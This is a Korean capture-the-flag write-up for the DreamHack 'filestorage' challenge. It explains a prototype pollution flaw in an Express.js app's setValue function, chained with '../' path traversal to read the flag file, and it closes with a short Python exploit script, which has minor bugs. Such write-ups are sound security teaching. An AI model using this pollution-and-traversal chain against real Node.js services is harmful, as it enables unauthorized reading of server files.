본문 바로가기

DreamHack

[DreamHack] filestorage

Prototype Pollution 개념

Concept of Prototype Pollution

 

https://dreamhack.io/wargame/challenges/643

 

filestorage

파일을 관리할 수 있는 구현이 덜 된 홈페이지입니다.

dreamhack.io

난이도: Level 2

app.py

path: / 

const express=require('express');
const bodyParser=require('body-parser');
const ejs=require('ejs');
const hash=require('crypto-js/sha256');
const fs = require('fs');
const app=express();

var file={};
var read={};

app.use(bodyParser.urlencoded({ extended: false }));
app.set('view engine','ejs');

app.get('/',function(req,resp){
	read['filename']='fake';
	resp.render(__dirname+"/ejs/index.ejs");
})

...

app.listen(8000);

"/" 경로는 read.filename에 fake 문자열을 넣고, index.ejs 파일을 랜더링 합니다. fake 파일은 bisc{fake_flag} 내용을 담고 있습니다. 즉, filename 속성 값을 변조하여 FLAG를 획득하는 문제임을 알 수 있습니다. 

path: /mkfile

app.post('/mkfile',function(req,resp){
	let {filename,content}=req.body;
	filename=hash(filename).toString();
	
	// hash format filename
	fs.writeFile(__dirname+"/storage/"+filename,content,function(err){
		if(err==null){
			file[filename]=filename;
			resp.send('your file name is '+filename);
		}else{
			resp.write("<script>alert('error')</script>");
			resp.write("<script>window.location='/'</script>");
		}
	})
})

"/mkfile" 경로는 유저로부터 filename, content 값을 입력받고, filename을 SHA256로 해싱하고 storage 디렉터리에 해싱한 파일 이름으로 내용을 씁니다. 이후, file.filename에 filename 값을 넣고 파일 이름을 보여줍니다. 

path: /readfile

app.get('/readfile',function(req,resp){
	let filename=file[req.query.filename];
	if(filename==null){
		fs.readFile(__dirname+'/storage/'+read['filename'],'UTF-8',function(err,data){
			resp.send(data);
		})
	}else{
		read[filename]=filename.replaceAll('.','');
		fs.readFile(__dirname+'/storage/'+read[filename],'UTF-8',function(err,data){
			if(err==null){
				resp.send(data);
			}else{
				resp.send('file is not existed');
			}
		})
	}

})

"/readfile" 경로는 file.filename 값을 가져온 후, filename 값이 null이면 read.filename 값을 읽고 파일 내용을 보여줍니다. 반면, null이 아니면 filename에 dot(.)을 공백으로 변환하여 read.filename 값을 filename으로 변환 후 파일 내용을 보여줍니다. 

path: /test

var file={};
var read={};
function isObject(obj) {
  return obj !== null && typeof obj === 'object';
}

// file, filename, rename
function setValue(obj, key, value) {
  const keylist = key.split('.');
  const e = keylist.shift();
  if (keylist.length > 0) {
    if (!isObject(obj[e])) obj[e] = {};
    setValue(obj[e], keylist.join('.'), value);
  } else {
    obj[key] = value;
    return obj;
  }
}

...

app.get('/test',function(req,resp){
	let {func,filename,rename}=req.query;
	if(func==null){
		resp.send("this page hasn't been made yet");
	}else if(func=='rename'){
		setValue(file,filename,rename)
		resp.send('rename');
	}else if(func=='reset'){
		read={};
		resp.send("file reset");
	}
})

"/test" 경로는 func parameter 값이 rename이면 파일 이름을 변경할 수 있게해주고, reset이면 read 객체를 초기화합니다. 하지만, rename의 경우 setValue 함수를 호출하는데 setValue 함수에서 Prototype Pollution 공격을 수행할 수 있습니다. 

 

file 객체의 프로토타입에 접근하여 Object.prototype.filename 값을 flag 경로(../../../../../../../../flag)로 설정하면, read.filename 값이 pollution 되어 read['filename'] 값이 flag 경로로 설정됩니다. 

app.get('/readfile',function(req,resp){
   let filename=file[req.query.filename];
   if(filename==null){
      fs.readFile(__dirname+'/storage/'+read['filename'],'UTF-8',function(err,data){
         resp.send(data);
      })
   }
   ...
}

이후, "/test" 경로에 func parameter에 reset을 주고 "/readfile" 경로에 parameter 값을 넘기지 않고 Request를 요청하면, __dirname + '/storage/' + '../../../../../../../../flag'에 위치한 파일의 내용을 읽어와 보여줌으로써 FLAG를 획득할 수 있습니다. 

Exploit Code

import requests
import hashlib

url= "http://host3.dreamhack.games:17899"
data = {"filename": "bb", "content":"content"}

hash_filename = hashlib.sha256(b"bb").digest()

# the file generation
res = requests.get(url, data=data)

# prototype pollution
res = requests.get(url + "/test/?func=rename&filename={}.__proto__.filename&rename=../../../../../../../../flag".format(hash_filename))

# reset
res = requests.get(url + "/test/?func=reset")

# get flag
res = requests.get(url + "/readfile")

print(res.text)